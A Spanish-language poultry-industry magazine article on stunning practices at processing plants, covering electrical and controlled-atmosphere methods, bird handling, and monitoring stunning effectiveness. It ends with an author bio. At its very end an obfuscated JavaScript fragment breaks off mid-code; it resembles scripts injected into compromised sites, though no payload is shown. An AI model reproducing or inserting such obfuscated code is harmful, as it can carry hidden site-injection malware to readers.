Las mejores prácticas en el aturdimiento de aves no solo son cuestión del bienestar animal, sino de la calidad de la carne y la eficiencia.
Son tres las razones por las que las aves se aturden o insensibilizan en la planta de procesamiento:
Para que estén inconscientes antes del corte del cuello.
Para eliminar el posible dolor causado por dicho corte.
Para colocarlas correctamente para el corte automático.
“Si se procesan millones de aves a la semana, tiene que ser un proceso muy eficiente”, dijo la Dra. Dianna Bourassa, profesora de Auburn University, durante su conferencia titulada “Buenas prácticas de aturdimiento” en la pasada Cumbre Avícola Latinoamericana.
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Opciones de aturdimiento
Existen dos opciones de aturdimiento: el aturdimiento eléctrico en baño de agua y el aturdimiento de atmósfera controlada.
En Estados Unidos, en el aturdimiento eléctrico se usa la combinación de bajo voltaje y alta frecuencia, mientras que en Europa es más común la combinación de alto voltaje con baja frecuencia. En cuanto al uso de atmósfera controlada, se utilizan sistemas con dióxido de carbono o de baja presión atmosférica.
También hay otros sistemas —como el del aturdimiento eléctrico solo en la cabeza— que funcionan bien, según Bourassa, pero que aún no se han adoptado mucho en la industria. También hay quienes no usan aturdimiento, aunque no es recomendable por las razones antes mencionadas.
Un mejor manejo
A las aves se les debe dejar descansar unos 30 minutos, más o menos, después del transporte. No deben permanecer en el corral temporal por períodos muy largos —de ser posible, menos de dos horas— y se deben procesar conforme van llegando.
Deben estar cómodas en dicho corral temporal, es decir, con enfriamiento en ambientes cálidos y con calefacción en ambientes fríos.
Al colgar el pollo, el trabajador se debe asegurar de que la pata baje por completo hasta el nivel de los dedos. (Vipavlenkoff | Shutterstock.com)
Prácticas en el aturdimiento eléctrico
Al sacar a las aves de los módulos de transporte, se deben usar sistemas inclinables o del tipo de cajones o bandejas que se extraen.
El ambiente de la sala de colgado debe tener una iluminación baja o de color azul, con una temperatura cómoda tanto para las aves como para el personal que ahí labora y el ruido debe mantenerse al mínimo para evitar que se estresen las aves.
En el colgado, las aves se deben manejar con cuidado. El ave se debe agarrar por ambas patas y colocarlas en el gancho al mismo tiempo. El gancho de colgado debe ser del tamaño adecuado al del ave que se va a sacrificar y el trabajador se debe asegurar de que la pata baje por completo hasta el nivel de los dedos. Si no se hace así, la cabeza no va a llegar al nivel inferior deseado y, por lo tanto, no estará en la posición necesaria para que las aves queden insensibilizadas.
“Debe colocarse solo un ave por gancho y no saltarse ganchos, pues la carga eléctrica va a ser dispareja”, dijo la profesora de Auburn University. Tampoco se deben colgar aves muertas ni enfermas, lesionadas o de descarte porque, además de que no entran bien, las de descarte son por lo general de tamaños desiguales, lo que causa problemas en la línea.
Del colgado hacia el aturdimiento, se debe minimizar el tiempo y la distancia que recorren las aves. La iluminación debe seguir estando baja para que las aves estén calmadas, pero que el trabajador pueda ver. Debe procurarse que la línea de colgado sea lo más recta posible para evitar giros bruscos, bajadas o sobresaltos. Puede usarse una barra de pechuga para que proporcione un efecto principalmente calmante, así como de apoyo.
En el aturdimiento eléctrico en baño de agua, deben rociarse las patas con agua salada para una mejor conductividad antes de entrar al aturdidor.
Otros ajustes
Antes de la insensibilización, debe evitarse que haya choque eléctrico. Para ello, la cabeza del ave debe ser el primer punto de contacto con el agua electrificada. La rampa de entrada debe estar eléctricamente aislada del baño de agua y evitar que se desborde el agua en el punto de entrada. La línea de colgado se debe configurar de tal forma que las aves se arrastren por la rampa.
Debe ajustarse la altura del insensibilizador o aturdidor en función del tamaño de las aves, por lo que se debe monitorear constantemente cada parvada. La altura inicial debe permitir que la cabeza y el cuello entren en contacto con el agua y no deben sumergirse las aves hasta la pechuga.
En función del equipo y su velocidad, se debe asegurar que la duración de la insensibilización sea la adecuada: de 10 a 12 segundos en el aturdimiento de bajo voltaje y de cinco segundos en el de alto voltaje.
Al insensibilizar con baño de agua se debe monitorear la efectividad del aturdimiento. Las aves bien insensibilizadas muestran una postura relajada, el cuello está recto o ligeramente curveado y son mínimos los espasmos musculares. Por otro lado, las aves que no están bien insensibilizadas tienen la cabeza arqueada, respiración rítmica y aleteo, lo que no debe confundirse con los espasmos musculares.
Puede haber insensibilización en exceso que ocasiona problemas como hemorragias en la pechuga o clavículas rotas. Por eso es imprescindible revisar y ajustar los miliamperios por aves.
Atmósfera controlada
Las prácticas en el aturdimiento mediante atmósfera controlada son un poco más vagas, pues las aves se quedan en el contenedor del transporte durante la insensibilización.
Antes del colgado se tienen que identificar las aves muertas en la llegada. En los sistemas de módulos de transporte completos deben eliminar las aves muertas en la llegada después del aturdimiento, con base en la presencia del rigor mortis.
A diferencia del otro método, la inducción de la inconsciencia no es instantánea y tarda más. Las aves muestran algún grado de incomodidad, pues sacuden la cabeza, presentan boqueo o jadeo y estiran el cuello. “No tanto es por el dióxido de carbono”, dijo Bourassa, “pues no está claro si es por eso”. Es imprescindible que no muestren conductas graves, como aleteo fuerte o intentos de escapar del sistema.
Si se presentan estas conductas graves, habrá que ajustar los parámetros de insensibilización, tales como bajar la concentración inicial de dióxido de carbono o desacelerar la disminución de la presión del aire.
Además, hay que considerar las condiciones del ambiente, como la temperatura y la humedad. Se debe observar si las aves jadean, pues quizás estén inhalando dióxido de carbono más rápido y eso afecta la concentración inicial de este.
Una vez que las aves están inconscientes, puede haber algunas convulsiones. Si son graves, pueden ocasionarse daños a la canal, como alas rotas, huesos rotos y aves con las patas arriba. Esto no solo es un asunto de bienestar animal, sino también de calidad. Hay que ajustar los parámetros de insensibilización como la disminución del dióxido de carbono y bajar el ritmo de la disminución de la presión del aire.
Por lo general, las aves insensibilizadas con atmósfera controlada no se recuperan, pero sí hay aves que lo llegan a hacer, por lo que hay que ajustar parámetros, como aumentar la concentración de dióxido de carbono en la etapa final o aumentar el tiempo que pasan en la etapa final. En el caso de la baja presión atmosférica, aumentar el tiempo dedicado a la etapa final de aturdimiento.
Toda desviación del colgado, aturdimiento y sangrado adecuados debe corregirse de inmediato. “No solo es por el bienestar del animal, sino por la calidad”.
Sin importar qué tipo de aturdimiento se use (eléctrico o de atmósfera controlada), cuando se monitorea, mantiene y opera de forma adecuada, ambos sistemas son efectivos y de trato humano para el sacrificio de aves.
Benjamín Ruiz es el editor en jefe de la revista especializada Industria Avícola. Es un especialista en nutrición, alimentos balanceados, producción animal y avicultura con más de 20 años de experiencia en la industria. También es traductor (del inglés y portugués al español) enfocado en temas pecuarios, farmacéuticos y médicos.
Ruiz posee una licenciatura en Nutrición y Ciencia de los Alimentos de la Universidad Iberoamericana en México, DF, y una maestría en Nutrición y Producción Animal de Cornell University (Ithaca, NY, EE.UU.). También posee un diplonado en Traducción Inglés-Español de la Universidad Iberoamericana y un diplomado en Terminología de El Colegio de México. También ha tomado múltiples cursos en desarrollo agropecuario, alimentos balanceados, comercialización de grados, administración, mercadotecnia, periodismo, traducción y escritura.
Puede escribirle por correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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1 de octubre de 2020
